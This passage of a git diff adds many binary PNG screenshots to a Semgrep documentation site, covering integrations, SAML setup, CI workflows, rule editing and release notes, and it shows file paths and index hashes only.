index 0000000000..8b86311c52
Binary files /dev/null and b/mintlify-docs/images/kb/integrations/defect-dojo-integration/integration-defectdojo-example.png differ
diff --git a/mintlify-docs/images/kb/integrations/defect-dojo-integration/integration-defectdojo-gitlab-variables.png b/mintlify-docs/images/kb/integrations/defect-dojo-integration/integration-defectdojo-gitlab-variables.png
new file mode 100644
index 0000000000..ad53bee88d
Binary files /dev/null and b/mintlify-docs/images/kb/integrations/defect-dojo-integration/integration-defectdojo-gitlab-variables.png differ
diff --git a/mintlify-docs/images/kb/rules/changing-rule-severity-and-other-metadata/custom_rules_in_editor.png b/mintlify-docs/images/kb/rules/changing-rule-severity-and-other-metadata/custom_rules_in_editor.png
new file mode 100644
index 0000000000..955500bd7d
Binary files /dev/null and b/mintlify-docs/images/kb/rules/changing-rule-severity-and-other-metadata/custom_rules_in_editor.png differ
diff --git a/mintlify-docs/images/kb/rules/changing-rule-severity-and-other-metadata/save_rule_editor.png b/mintlify-docs/images/kb/rules/changing-rule-severity-and-other-metadata/save_rule_editor.png
new file mode 100644
index 0000000000..bd09276ab1
Binary files /dev/null and b/mintlify-docs/images/kb/rules/changing-rule-severity-and-other-metadata/save_rule_editor.png differ
diff --git a/mintlify-docs/images/kb/rules/using-semgrep-rule-schema-in-vscode/vscode-schema-autocomplete-example.png b/mintlify-docs/images/kb/rules/using-semgrep-rule-schema-in-vscode/vscode-schema-autocomplete-example.png
new file mode 100644
index 0000000000..b861fd45a0
Binary files /dev/null and b/mintlify-docs/images/kb/rules/using-semgrep-rule-schema-in-vscode/vscode-schema-autocomplete-example.png differ
diff --git a/mintlify-docs/images/kb/rules/using-semgrep-rule-schema-in-vscode/vscode-yaml-schema-example-file.png b/mintlify-docs/images/kb/rules/using-semgrep-rule-schema-in-vscode/vscode-yaml-schema-example-file.png
new file mode 100644
index 0000000000..0cce99c324
Binary files /dev/null and b/mintlify-docs/images/kb/rules/using-semgrep-rule-schema-in-vscode/vscode-yaml-schema-example-file.png differ
diff --git a/mintlify-docs/images/kb/rules/using-semgrep-rule-schema-in-vscode/vscode-yaml-schemas.png b/mintlify-docs/images/kb/rules/using-semgrep-rule-schema-in-vscode/vscode-yaml-schemas.png
new file mode 100644
index 0000000000..e0a6892404
Binary files /dev/null and b/mintlify-docs/images/kb/rules/using-semgrep-rule-schema-in-vscode/vscode-yaml-schemas.png differ
diff --git a/mintlify-docs/images/kb/semgrep-appsec-platform/act-on-your-behalf/github-act-on-your-behalf.png b/mintlify-docs/images/kb/semgrep-appsec-platform/act-on-your-behalf/github-act-on-your-behalf.png
new file mode 100644
index 0000000000..8427358d51
Binary files /dev/null and b/mintlify-docs/images/kb/semgrep-appsec-platform/act-on-your-behalf/github-act-on-your-behalf.png differ
diff --git a/mintlify-docs/images/kb/semgrep-appsec-platform/act-on-your-behalf/new-onboarding.png b/mintlify-docs/images/kb/semgrep-appsec-platform/act-on-your-behalf/new-onboarding.png
new file mode 100644
index 0000000000..3889d63ea8
Binary files /dev/null and b/mintlify-docs/images/kb/semgrep-appsec-platform/act-on-your-behalf/new-onboarding.png differ
diff --git a/mintlify-docs/images/kb/semgrep-appsec-platform/act-on-your-behalf/semgrep-not-acting-on-your-behalf.png b/mintlify-docs/images/kb/semgrep-appsec-platform/act-on-your-behalf/semgrep-not-acting-on-your-behalf.png
new file mode 100644
index 0000000000..ea12504586
Binary files /dev/null and b/mintlify-docs/images/kb/semgrep-appsec-platform/act-on-your-behalf/semgrep-not-acting-on-your-behalf.png differ
diff --git a/mintlify-docs/images/kb/semgrep-appsec-platform/automate-rules-deployment/publish-custom-rules-1.png b/mintlify-docs/images/kb/semgrep-appsec-platform/automate-rules-deployment/publish-custom-rules-1.png
new file mode 100644
index 0000000000..d90150a9c4
Binary files /dev/null and b/mintlify-docs/images/kb/semgrep-appsec-platform/automate-rules-deployment/publish-custom-rules-1.png differ
diff --git a/mintlify-docs/images/kb/semgrep-appsec-platform/automate-rules-deployment/publish-custom-rules-2.png b/mintlify-docs/images/kb/semgrep-appsec-platform/automate-rules-deployment/publish-custom-rules-2.png
new file mode 100644
index 0000000000..c35566f389
Binary files /dev/null and b/mintlify-docs/images/kb/semgrep-appsec-platform/automate-rules-deployment/publish-custom-rules-2.png differ
diff --git a/mintlify-docs/images/kb/semgrep-appsec-platform/automate-rules-deployment/publish-custom-rules-3.png b/mintlify-docs/images/kb/semgrep-appsec-platform/automate-rules-deployment/publish-custom-rules-3.png
new file mode 100644
index 0000000000..15fccbe10e
Binary files /dev/null and b/mintlify-docs/images/kb/semgrep-appsec-platform/automate-rules-deployment/publish-custom-rules-3.png differ
diff --git a/mintlify-docs/images/kb/semgrep-appsec-platform/fedramp-with-semgrep/image.png b/mintlify-docs/images/kb/semgrep-appsec-platform/fedramp-with-semgrep/image.png
new file mode 100644
index 0000000000..eeec943f48
Binary files /dev/null and b/mintlify-docs/images/kb/semgrep-appsec-platform/fedramp-with-semgrep/image.png differ
diff --git a/mintlify-docs/images/kb/semgrep-appsec-platform/missing-pr-comments/gh-app-permissions-all.png b/mintlify-docs/images/kb/semgrep-appsec-platform/missing-pr-comments/gh-app-permissions-all.png
new file mode 100644
index 0000000000..fcbdad989c
Binary files /dev/null and b/mintlify-docs/images/kb/semgrep-appsec-platform/missing-pr-comments/gh-app-permissions-all.png differ
diff --git a/mintlify-docs/images/kb/semgrep-appsec-platform/missing-pr-comments/gh-app-permissions-select.png b/mintlify-docs/images/kb/semgrep-appsec-platform/missing-pr-comments/gh-app-permissions-select.png
new file mode 100644
index 0000000000..0814a9d868
Binary files /dev/null and b/mintlify-docs/images/kb/semgrep-appsec-platform/missing-pr-comments/gh-app-permissions-select.png differ
diff --git a/mintlify-docs/images/kb/semgrep-appsec-platform/saml-attributestatement/image.png b/mintlify-docs/images/kb/semgrep-appsec-platform/saml-attributestatement/image.png
new file mode 100644
index 0000000000..10cde6e834
Binary files /dev/null and b/mintlify-docs/images/kb/semgrep-appsec-platform/saml-attributestatement/image.png differ
diff --git a/mintlify-docs/images/kb/semgrep-appsec-platform/saml-authentication-method-match/image.png b/mintlify-docs/images/kb/semgrep-appsec-platform/saml-authentication-method-match/image.png
new file mode 100644
index 0000000000..113fb534f1
Binary files /dev/null and b/mintlify-docs/images/kb/semgrep-appsec-platform/saml-authentication-method-match/image.png differ
diff --git a/mintlify-docs/images/kb/semgrep-appsec-platform/saml-bad-signature/image.png b/mintlify-docs/images/kb/semgrep-appsec-platform/saml-bad-signature/image.png
new file mode 100644
index 0000000000..8acfb24a87
Binary files /dev/null and b/mintlify-docs/images/kb/semgrep-appsec-platform/saml-bad-signature/image.png differ
diff --git a/mintlify-docs/images/kb/semgrep-appsec-platform/saml-google-workspace/image.png b/mintlify-docs/images/kb/semgrep-appsec-platform/saml-google-workspace/image.png
new file mode 100644
index 0000000000..01603b1ce7
Binary files /dev/null and b/mintlify-docs/images/kb/semgrep-appsec-platform/saml-google-workspace/image.png differ
diff --git a/mintlify-docs/images/kb/semgrep-appsec-platform/saml-microsoft-entra-id/entra-1.png b/mintlify-docs/images/kb/semgrep-appsec-platform/saml-microsoft-entra-id/entra-1.png
new file mode 100644
index 0000000000..cd6a8c8fc1
Binary files /dev/null and b/mintlify-docs/images/kb/semgrep-appsec-platform/saml-microsoft-entra-id/entra-1.png differ
diff --git a/mintlify-docs/images/kb/semgrep-appsec-platform/saml-microsoft-entra-id/entra-2.png b/mintlify-docs/images/kb/semgrep-appsec-platform/saml-microsoft-entra-id/entra-2.png
new file mode 100644
index 0000000000..3117f9780a
Binary files /dev/null and b/mintlify-docs/images/kb/semgrep-appsec-platform/saml-microsoft-entra-id/entra-2.png differ
diff --git a/mintlify-docs/images/kb/semgrep-appsec-platform/saml-microsoft-entra-id/entra-3.png b/mintlify-docs/images/kb/semgrep-appsec-platform/saml-microsoft-entra-id/entra-3.png
new file mode 100644
index 0000000000..6d02bffd63
Binary files /dev/null and b/mintlify-docs/images/kb/semgrep-appsec-platform/saml-microsoft-entra-id/entra-3.png differ
diff --git a/mintlify-docs/images/kb/semgrep-appsec-platform/saml-microsoft-entra-id/entra-4.png b/mintlify-docs/images/kb/semgrep-appsec-platform/saml-microsoft-entra-id/entra-4.png
new file mode 100644
index 0000000000..8b63560efa
Binary files /dev/null and b/mintlify-docs/images/kb/semgrep-appsec-platform/saml-microsoft-entra-id/entra-4.png differ
diff --git a/mintlify-docs/images/kb/semgrep-appsec-platform/saml-microsoft-entra-id/entra-5.png b/mintlify-docs/images/kb/semgrep-appsec-platform/saml-microsoft-entra-id/entra-5.png
new file mode 100644
index 0000000000..a76f7f6ef7
Binary files /dev/null and b/mintlify-docs/images/kb/semgrep-appsec-platform/saml-microsoft-entra-id/entra-5.png differ
diff --git a/mintlify-docs/images/kb/semgrep-appsec-platform/search-filter-sort-findings/code-ruleID.png b/mintlify-docs/images/kb/semgrep-appsec-platform/search-filter-sort-findings/code-ruleID.png
new file mode 100644
index 0000000000..e4ec111254
Binary files /dev/null and b/mintlify-docs/images/kb/semgrep-appsec-platform/search-filter-sort-findings/code-ruleID.png differ
diff --git a/mintlify-docs/images/kb/semgrep-appsec-platform/search-filter-sort-findings/sca-ruleid.png b/mintlify-docs/images/kb/semgrep-appsec-platform/search-filter-sort-findings/sca-ruleid.png
new file mode 100644
index 0000000000..a403b0e18c
Binary files /dev/null and b/mintlify-docs/images/kb/semgrep-appsec-platform/search-filter-sort-findings/sca-ruleid.png differ
diff --git a/mintlify-docs/images/kb/semgrep-ci/collect-gha-logs/image-1.png b/mintlify-docs/images/kb/semgrep-ci/collect-gha-logs/image-1.png
new file mode 100644
index 0000000000..28e8c71f67
Binary files /dev/null and b/mintlify-docs/images/kb/semgrep-ci/collect-gha-logs/image-1.png differ
diff --git a/mintlify-docs/images/kb/semgrep-ci/collect-gha-logs/image-2.png b/mintlify-docs/images/kb/semgrep-ci/collect-gha-logs/image-2.png
new file mode 100644
index 0000000000..ed9984c616
Binary files /dev/null and b/mintlify-docs/images/kb/semgrep-ci/collect-gha-logs/image-2.png differ
diff --git a/mintlify-docs/images/kb/semgrep-ci/github-repository-rulesets-semgrep/semgrep-workflow-actions-access.png b/mintlify-docs/images/kb/semgrep-ci/github-repository-rulesets-semgrep/semgrep-workflow-actions-access.png
new file mode 100644
index 0000000000..951d33ce96
Binary files /dev/null and b/mintlify-docs/images/kb/semgrep-ci/github-repository-rulesets-semgrep/semgrep-workflow-actions-access.png differ
diff --git a/mintlify-docs/images/kb/semgrep-ci/github-repository-rulesets-semgrep/semgrep-workflow-pr-example.png b/mintlify-docs/images/kb/semgrep-ci/github-repository-rulesets-semgrep/semgrep-workflow-pr-example.png
new file mode 100644
index 0000000000..79c45236d3
Binary files /dev/null and b/mintlify-docs/images/kb/semgrep-ci/github-repository-rulesets-semgrep/semgrep-workflow-pr-example.png differ
diff --git a/mintlify-docs/images/kb/semgrep-ci/github-repository-rulesets-semgrep/semgrep-workflow-repo.png b/mintlify-docs/images/kb/semgrep-ci/github-repository-rulesets-semgrep/semgrep-workflow-repo.png
new file mode 100644
index 0000000000..ea941f0005
Binary files /dev/null and b/mintlify-docs/images/kb/semgrep-ci/github-repository-rulesets-semgrep/semgrep-workflow-repo.png differ
diff --git a/mintlify-docs/images/kb/semgrep-ci/github-repository-rulesets-semgrep/semgrep-workflow-repository-rulesets.png b/mintlify-docs/images/kb/semgrep-ci/github-repository-rulesets-semgrep/semgrep-workflow-repository-rulesets.png
new file mode 100644
index 0000000000..5f55398ea1
Binary files /dev/null and b/mintlify-docs/images/kb/semgrep-ci/github-repository-rulesets-semgrep/semgrep-workflow-repository-rulesets.png differ
diff --git a/mintlify-docs/images/kb/semgrep-ci/github-repository-rulesets-semgrep/semgrep-workflow-require-pass.png b/mintlify-docs/images/kb/semgrep-ci/github-repository-rulesets-semgrep/semgrep-workflow-require-pass.png
new file mode 100644
index 0000000000..997dabd351
Binary files /dev/null and b/mintlify-docs/images/kb/semgrep-ci/github-repository-rulesets-semgrep/semgrep-workflow-require-pass.png differ
diff --git a/mintlify-docs/images/kb/semgrep-ci/github-reusable-workflows-semgrep/reusable-workflows-image-1.png b/mintlify-docs/images/kb/semgrep-ci/github-reusable-workflows-semgrep/reusable-workflows-image-1.png
new file mode 100644
index 0000000000..2c03da7493
Binary files /dev/null and b/mintlify-docs/images/kb/semgrep-ci/github-reusable-workflows-semgrep/reusable-workflows-image-1.png differ
diff --git a/mintlify-docs/images/kb/semgrep-ci/github-reusable-workflows-semgrep/reusable-workflows-image-2.png b/mintlify-docs/images/kb/semgrep-ci/github-reusable-workflows-semgrep/reusable-workflows-image-2.png
new file mode 100644
index 0000000000..e26e863e37
Binary files /dev/null and b/mintlify-docs/images/kb/semgrep-ci/github-reusable-workflows-semgrep/reusable-workflows-image-2.png differ
diff --git a/mintlify-docs/images/kb/semgrep-ci/github-reusable-workflows-semgrep/reusable-workflows-image-3.png b/mintlify-docs/images/kb/semgrep-ci/github-reusable-workflows-semgrep/reusable-workflows-image-3.png
new file mode 100644
index 0000000000..da842df424
Binary files /dev/null and b/mintlify-docs/images/kb/semgrep-ci/github-reusable-workflows-semgrep/reusable-workflows-image-3.png differ
diff --git a/mintlify-docs/images/kb/semgrep-ci/github-upload-findings-in-security-dashboard/github-default-workflow-permissions.png b/mintlify-docs/images/kb/semgrep-ci/github-upload-findings-in-security-dashboard/github-default-workflow-permissions.png
new file mode 100644
index 0000000000..d4c7e01a78
Binary files /dev/null and b/mintlify-docs/images/kb/semgrep-ci/github-upload-findings-in-security-dashboard/github-default-workflow-permissions.png differ
diff --git a/mintlify-docs/images/kb/semgrep-code/InvalidHeaderValue/github-secrets.png b/mintlify-docs/images/kb/semgrep-code/InvalidHeaderValue/github-secrets.png
new file mode 100644
index 0000000000..b2c7e1a46d
Binary files /dev/null and b/mintlify-docs/images/kb/semgrep-code/InvalidHeaderValue/github-secrets.png differ
diff --git a/mintlify-docs/images/kb/semgrep-code/InvalidHeaderValue/github-update-value.png b/mintlify-docs/images/kb/semgrep-code/InvalidHeaderValue/github-update-value.png
new file mode 100644
index 0000000000..c2f0748d18
Binary files /dev/null and b/mintlify-docs/images/kb/semgrep-code/InvalidHeaderValue/github-update-value.png differ
diff --git a/mintlify-docs/images/kb/semgrep-code/InvalidHeaderValue/gitlab-update-value.png b/mintlify-docs/images/kb/semgrep-code/InvalidHeaderValue/gitlab-update-value.png
new file mode 100644
index 0000000000..1077e52908
Binary files /dev/null and b/mintlify-docs/images/kb/semgrep-code/InvalidHeaderValue/gitlab-update-value.png differ
diff --git a/mintlify-docs/images/kb/semgrep-code/unexpected-new-findings/github-icon-editor.png b/mintlify-docs/images/kb/semgrep-code/unexpected-new-findings/github-icon-editor.png
new file mode 100644
index 0000000000..5fbad64c0a
Binary files /dev/null and b/mintlify-docs/images/kb/semgrep-code/unexpected-new-findings/github-icon-editor.png differ
diff --git a/mintlify-docs/images/kb/semgrep-multmodal/missing-pr-mr-comments/image.png b/mintlify-docs/images/kb/semgrep-multmodal/missing-pr-mr-comments/image.png
new file mode 100644
index 0000000000..f4cce411bd
Binary files /dev/null and b/mintlify-docs/images/kb/semgrep-multmodal/missing-pr-mr-comments/image.png differ
diff --git a/mintlify-docs/images/kb/semgrep-multmodal/missing-pr-mr-comments/semgrep-ci/collect-gha-logs/image-1.png b/mintlify-docs/images/kb/semgrep-multmodal/missing-pr-mr-comments/semgrep-ci/collect-gha-logs/image-1.png
new file mode 100644
index 0000000000..28e8c71f67
Binary files /dev/null and b/mintlify-docs/images/kb/semgrep-multmodal/missing-pr-mr-comments/semgrep-ci/collect-gha-logs/image-1.png differ
diff --git a/mintlify-docs/images/kb/semgrep-multmodal/missing-pr-mr-comments/semgrep-ci/collect-gha-logs/image-2.png b/mintlify-docs/images/kb/semgrep-multmodal/missing-pr-mr-comments/semgrep-ci/collect-gha-logs/image-2.png
new file mode 100644
index 0000000000..ed9984c616
Binary files /dev/null and b/mintlify-docs/images/kb/semgrep-multmodal/missing-pr-mr-comments/semgrep-ci/collect-gha-logs/image-2.png differ
diff --git a/mintlify-docs/images/kb/semgrep-supply-chain/incident-response/ssc-incident-1.png b/mintlify-docs/images/kb/semgrep-supply-chain/incident-response/ssc-incident-1.png
new file mode 100644
index 0000000000..c7aa8ee19c
Binary files /dev/null and b/mintlify-docs/images/kb/semgrep-supply-chain/incident-response/ssc-incident-1.png differ
diff --git a/mintlify-docs/images/kb/semgrep-supply-chain/incident-response/ssc-incident-2.png b/mintlify-docs/images/kb/semgrep-supply-chain/incident-response/ssc-incident-2.png
new file mode 100644
index 0000000000..c7aa8ee19c
Binary files /dev/null and b/mintlify-docs/images/kb/semgrep-supply-chain/incident-response/ssc-incident-2.png differ
diff --git a/mintlify-docs/images/kb/semgrep-supply-chain/incident-response/ssc-incident-3.png b/mintlify-docs/images/kb/semgrep-supply-chain/incident-response/ssc-incident-3.png
new file mode 100644
index 0000000000..3a9d2be64d
Binary files /dev/null and b/mintlify-docs/images/kb/semgrep-supply-chain/incident-response/ssc-incident-3.png differ
diff --git a/mintlify-docs/images/kb/semgrep-supply-chain/incident-response/ssc-incident-4.png b/mintlify-docs/images/kb/semgrep-supply-chain/incident-response/ssc-incident-4.png
new file mode 100644
index 0000000000..819c63aa60
Binary files /dev/null and b/mintlify-docs/images/kb/semgrep-supply-chain/incident-response/ssc-incident-4.png differ
diff --git a/mintlify-docs/images/kb/semgrep-supply-chain/incident-response/ssc-incident-5.png b/mintlify-docs/images/kb/semgrep-supply-chain/incident-response/ssc-incident-5.png
new file mode 100644
index 0000000000..528efc29d9
Binary files /dev/null and b/mintlify-docs/images/kb/semgrep-supply-chain/incident-response/ssc-incident-5.png differ
diff --git a/mintlify-docs/images/kb/semgrep-supply-chain/incident-response/ssc-incident-6.png b/mintlify-docs/images/kb/semgrep-supply-chain/incident-response/ssc-incident-6.png
new file mode 100644
index 0000000000..57add7e27c
Binary files /dev/null and b/mintlify-docs/images/kb/semgrep-supply-chain/incident-response/ssc-incident-6.png differ
diff --git a/mintlify-docs/images/kb/semgrep-supply-chain/why-no-findings/ssc-branch-selector.png b/mintlify-docs/images/kb/semgrep-supply-chain/why-no-findings/ssc-branch-selector.png
new file mode 100644
index 0000000000..f8be37938f
Binary files /dev/null and b/mintlify-docs/images/kb/semgrep-supply-chain/why-no-findings/ssc-branch-selector.png differ
diff --git a/mintlify-docs/images/kb/semgrep-supply-chain/why-no-findings/ssc-vuln-filter.png b/mintlify-docs/images/kb/semgrep-supply-chain/why-no-findings/ssc-vuln-filter.png
new file mode 100644
index 0000000000..060a69aec5
Binary files /dev/null and b/mintlify-docs/images/kb/semgrep-supply-chain/why-no-findings/ssc-vuln-filter.png differ
diff --git a/mintlify-docs/images/linters-semgrep-comparison-d74cc54168817728c80fe308fb3b9b37.png b/mintlify-docs/images/linters-semgrep-comparison-d74cc54168817728c80fe308fb3b9b37.png
new file mode 100644
index 0000000000..c4c4ca23d0
Binary files /dev/null and b/mintlify-docs/images/linters-semgrep-comparison-d74cc54168817728c80fe308fb3b9b37.png differ
diff --git a/mintlify-docs/images/more-accounts-dropdown.png b/mintlify-docs/images/more-accounts-dropdown.png
new file mode 100644
index 0000000000..1939375144
Binary files /dev/null and b/mintlify-docs/images/more-accounts-dropdown.png differ
diff --git a/mintlify-docs/images/multiple-orgs-74e1ab656f772b1908062b0659e95051.png b/mintlify-docs/images/multiple-orgs-74e1ab656f772b1908062b0659e95051.png
new file mode 100644
index 0000000000..9f0cdbe5f0
Binary files /dev/null and b/mintlify-docs/images/multiple-orgs-74e1ab656f772b1908062b0659e95051.png differ
diff --git a/mintlify-docs/images/new-scm-card-8b7ea2f9e6134c89b69be531e895aec4.png b/mintlify-docs/images/new-scm-card-8b7ea2f9e6134c89b69be531e895aec4.png
new file mode 100644
index 0000000000..1ad0b6396e
Binary files /dev/null and b/mintlify-docs/images/new-scm-card-8b7ea2f9e6134c89b69be531e895aec4.png differ
diff --git a/mintlify-docs/images/old-scm-card-557cfab197ff2b0ec0f26e24eca54799.png b/mintlify-docs/images/old-scm-card-557cfab197ff2b0ec0f26e24eca54799.png
new file mode 100644
index 0000000000..f17e6787c5
Binary files /dev/null and b/mintlify-docs/images/old-scm-card-557cfab197ff2b0ec0f26e24eca54799.png differ
diff --git a/mintlify-docs/images/onboarding-scan-location-edb6c536ee437983c9b1cc9403a325d4.png b/mintlify-docs/images/onboarding-scan-location-edb6c536ee437983c9b1cc9403a325d4.png
new file mode 100644
index 0000000000..73d85ad442
Binary files /dev/null and b/mintlify-docs/images/onboarding-scan-location-edb6c536ee437983c9b1cc9403a325d4.png differ
diff --git a/mintlify-docs/images/personal-org-97a1b6929bdbfcc0b563fdb397a995a2.png b/mintlify-docs/images/personal-org-97a1b6929bdbfcc0b563fdb397a995a2.png
new file mode 100644
index 0000000000..ca2d196fbc
Binary files /dev/null and b/mintlify-docs/images/personal-org-97a1b6929bdbfcc0b563fdb397a995a2.png differ
diff --git a/mintlify-docs/images/policies-7c8d50fc2a44f6a97a121e9746d8bd3a.png b/mintlify-docs/images/policies-7c8d50fc2a44f6a97a121e9746d8bd3a.png
new file mode 100644
index 0000000000..7c7d670398
Binary files /dev/null and b/mintlify-docs/images/policies-7c8d50fc2a44f6a97a121e9746d8bd3a.png differ
diff --git a/mintlify-docs/images/policy-zero-project-state-c7355ab0066daf1a6c340725c9ebd819.png b/mintlify-docs/images/policy-zero-project-state-c7355ab0066daf1a6c340725c9ebd819.png
new file mode 100644
index 0000000000..9c73ed7856
Binary files /dev/null and b/mintlify-docs/images/policy-zero-project-state-c7355ab0066daf1a6c340725c9ebd819.png differ
diff --git a/mintlify-docs/images/pr-comment-autofix-c902c853dfc541efeec9b69e6a3726ca.png b/mintlify-docs/images/pr-comment-autofix-c902c853dfc541efeec9b69e6a3726ca.png
new file mode 100644
index 0000000000..559bcf5bbb
Binary files /dev/null and b/mintlify-docs/images/pr-comment-autofix-c902c853dfc541efeec9b69e6a3726ca.png differ
diff --git a/mintlify-docs/images/pr-comment-triage-response-28597fb003b04c21f57912ad9f11802a.png b/mintlify-docs/images/pr-comment-triage-response-28597fb003b04c21f57912ad9f11802a.png
new file mode 100644
index 0000000000..1b2532afce
Binary files /dev/null and b/mintlify-docs/images/pr-comment-triage-response-28597fb003b04c21f57912ad9f11802a.png differ
diff --git a/mintlify-docs/images/pr-status-check-06f80c71ec387d84294255bdbfcdc25e.png b/mintlify-docs/images/pr-status-check-06f80c71ec387d84294255bdbfcdc25e.png
new file mode 100644
index 0000000000..f25a664724
Binary files /dev/null and b/mintlify-docs/images/pr-status-check-06f80c71ec387d84294255bdbfcdc25e.png differ
diff --git a/mintlify-docs/images/primary-branch-ded868163a3219896c9b4bee2914c9f9.png b/mintlify-docs/images/primary-branch-ded868163a3219896c9b4bee2914c9f9.png
new file mode 100644
index 0000000000..f504588bab
Binary files /dev/null and b/mintlify-docs/images/primary-branch-ded868163a3219896c9b4bee2914c9f9.png differ
diff --git a/mintlify-docs/images/private-network-broker.png b/mintlify-docs/images/private-network-broker.png
new file mode 100644
index 0000000000..8f9b294110
Binary files /dev/null and b/mintlify-docs/images/private-network-broker.png differ
diff --git a/mintlify-docs/images/projects-rename-repo-81ad3fa1bd76d58958cb7cacef579a46.png b/mintlify-docs/images/projects-rename-repo-81ad3fa1bd76d58958cb7cacef579a46.png
new file mode 100644
index 0000000000..139d402ed7
Binary files /dev/null and b/mintlify-docs/images/projects-rename-repo-81ad3fa1bd76d58958cb7cacef579a46.png differ
diff --git a/mintlify-docs/images/release-notes-give-rule-feedback-5733b2a765ec479af89ad996f77c7563.png b/mintlify-docs/images/release-notes-give-rule-feedback-5733b2a765ec479af89ad996f77c7563.png
new file mode 100644
index 0000000000..27bde51a7c
Binary files /dev/null and b/mintlify-docs/images/release-notes-give-rule-feedback-5733b2a765ec479af89ad996f77c7563.png differ
diff --git a/mintlify-docs/images/release-notes-group-by-rule-fe031f77155361c5686d01746cb6b1fe.png b/mintlify-docs/images/release-notes-group-by-rule-fe031f77155361c5686d01746cb6b1fe.png
new file mode 100644
index 0000000000..3cf8f2b95d
Binary files /dev/null and b/mintlify-docs/images/release-notes-group-by-rule-fe031f77155361c5686d01746cb6b1fe.png differ
diff --git a/mintlify-docs/images/release-notes-march2023-cli-output-new-7c36d723713940843c69e5cca9045402.png b/mintlify-docs/images/release-notes-march2023-cli-output-new-7c36d723713940843c69e5cca9045402.png
new file mode 100644
index 0000000000..44c0c6178d
Binary files /dev/null and b/mintlify-docs/images/release-notes-march2023-cli-output-new-7c36d723713940843c69e5cca9045402.png differ
diff --git a/mintlify-docs/images/release-notes-march2023-cli-output-old-394de6eb67ce50da90340e6a1cb9ee50.png b/mintlify-docs/images/release-notes-march2023-cli-output-old-394de6eb67ce50da90340e6a1cb9ee50.png
new file mode 100644
index 0000000000..229b548da0
Binary files /dev/null and b/mintlify-docs/images/release-notes-march2023-cli-output-old-394de6eb67ce50da90340e6a1cb9ee50.png differ
diff --git a/mintlify-docs/images/release-notes-project-sorting-c6feeb936d1432a0bee2e422a02e0ade.png b/mintlify-docs/images/release-notes-project-sorting-c6feeb936d1432a0bee2e422a02e0ade.png
new file mode 100644
index 0000000000..d04694e5c0
Binary files /dev/null and b/mintlify-docs/images/release-notes-project-sorting-c6feeb936d1432a0bee2e422a02e0ade.png differ
diff --git a/mintlify-docs/images/release-notes-rename-project1-2818d8eaab431123cab25e1921aab052.png b/mintlify-docs/images/release-notes-rename-project1-2818d8eaab431123cab25e1921aab052.png
new file mode 100644
index 0000000000..3c320c51f3
Binary files /dev/null and b/mintlify-docs/images/release-notes-rename-project1-2818d8eaab431123cab25e1921aab052.png differ
diff --git a/mintlify-docs/images/release-notes-rename-project2-710d87f273e86d549e1b763fe4c4e55a.png b/mintlify-docs/images/release-notes-rename-project2-710d87f273e86d549e1b763fe4c4e55a.png
new file mode 100644
index 0000000000..63ef181bc5
Binary files /dev/null and b/mintlify-docs/images/release-notes-rename-project2-710d87f273e86d549e1b763fe4c4e55a.png differ
diff --git a/mintlify-docs/images/release-notes-see-source-rule-7f695a1e88d1e20ea290fa35e0c4a68a.png b/mintlify-docs/images/release-notes-see-source-rule-7f695a1e88d1e20ea290fa35e0c4a68a.png
new file mode 100644
index 0000000000..13ba7a7c32
Binary files /dev/null and b/mintlify-docs/images/release-notes-see-source-rule-7f695a1e88d1e20ea290fa35e0c4a68a.png differ
diff --git a/mintlify-docs/images/release-notes-semgrep-app-reachability-review-7f670c8856324fe1d8a918d3d38771c7.png b/mintlify-docs/images/release-notes-semgrep-app-reachability-review-7f670c8856324fe1d8a918d3d38771c7.png
new file mode 100644
index 0000000000..4796142d04
Binary files /dev/null and b/mintlify-docs/images/release-notes-semgrep-app-reachability-review-7f670c8856324fe1d8a918d3d38771c7.png differ
diff --git a/mintlify-docs/images/release-notes-semgrep-code-findings-pro-rule-gem-cf8a3b2a7f4d601a5f0fc9c545d32315.png b/mintlify-docs/images/release-notes-semgrep-code-findings-pro-rule-gem-cf8a3b2a7f4d601a5f0fc9c545d32315.png
new file mode 100644
index 0000000000..82e808a1da
Binary files /dev/null and b/mintlify-docs/images/release-notes-semgrep-code-findings-pro-rule-gem-cf8a3b2a7f4d601a5f0fc9c545d32315.png differ
diff --git a/mintlify-docs/images/retrieve-gh-log-560be2365ac07681d8fe6840261ca9a3.png b/mintlify-docs/images/retrieve-gh-log-560be2365ac07681d8fe6840261ca9a3.png
new file mode 100644
index 0000000000..71893ec343
Binary files /dev/null and b/mintlify-docs/images/retrieve-gh-log-560be2365ac07681d8fe6840261ca9a3.png differ
diff --git a/mintlify-docs/images/rule-board-bce3b857a95b5bc74ec1c7f2defe56d3.png b/mintlify-docs/images/rule-board-bce3b857a95b5bc74ec1c7f2defe56d3.png
new file mode 100644
index 0000000000..ea1fa74acd
Binary files /dev/null and b/mintlify-docs/images/rule-board-bce3b857a95b5bc74ec1c7f2defe56d3.png differ
diff --git a/mintlify-docs/images/saml-attribute-statements-2ac1ee3e4d422a51d0c3d0ad8c95d332.png b/mintlify-docs/images/saml-attribute-statements-2ac1ee3e4d422a51d0c3d0ad8c95d332.png
new file mode 100644
index 0000000000..deca4f18c2
Binary files /dev/null and b/mintlify-docs/images/saml-attribute-statements-2ac1ee3e4d422a51d0c3d0ad8c95d332.png differ
diff --git a/mintlify-docs/images/saml-copy-IdPSSO-IdPID-and-X509-61f4be0b299a3bc32c4cf3fb1c49a387.png b/mintlify-docs/images/saml-copy-IdPSSO-IdPID-and-X509-61f4be0b299a3bc32c4cf3fb1c49a387.png
new file mode 100644
index 0000000000..4fc3e61ab0
Binary files /dev/null and b/mintlify-docs/images/saml-copy-IdPSSO-IdPID-and-X509-61f4be0b299a3bc32c4cf3fb1c49a387.png differ
diff --git a/mintlify-docs/images/saml-copy-urls-76bcb9e07c9e9d3b64f2e29e3943ff9f.png b/mintlify-docs/images/saml-copy-urls-76bcb9e07c9e9d3b64f2e29e3943ff9f.png
new file mode 100644
index 0000000000..c937459a50
Binary files /dev/null and b/mintlify-docs/images/saml-copy-urls-76bcb9e07c9e9d3b64f2e29e3943ff9f.png differ
diff --git a/mintlify-docs/images/saml-creating-app-377a1d48768c46f026f9940f5512b773.png b/mintlify-docs/images/saml-creating-app-377a1d48768c46f026f9940f5512b773.png
new file mode 100644
index 0000000000..81c2f61bbf
Binary files /dev/null and b/mintlify-docs/images/saml-creating-app-377a1d48768c46f026f9940f5512b773.png differ
diff --git a/mintlify-docs/images/saml-filling-IdpSSO-IdpID-X509-9b0c382094a3881dd89b8f6191e8db76.png b/mintlify-docs/images/saml-filling-IdpSSO-IdpID-X509-9b0c382094a3881dd89b8f6191e8db76.png
new file mode 100644
index 0000000000..ee2802d348
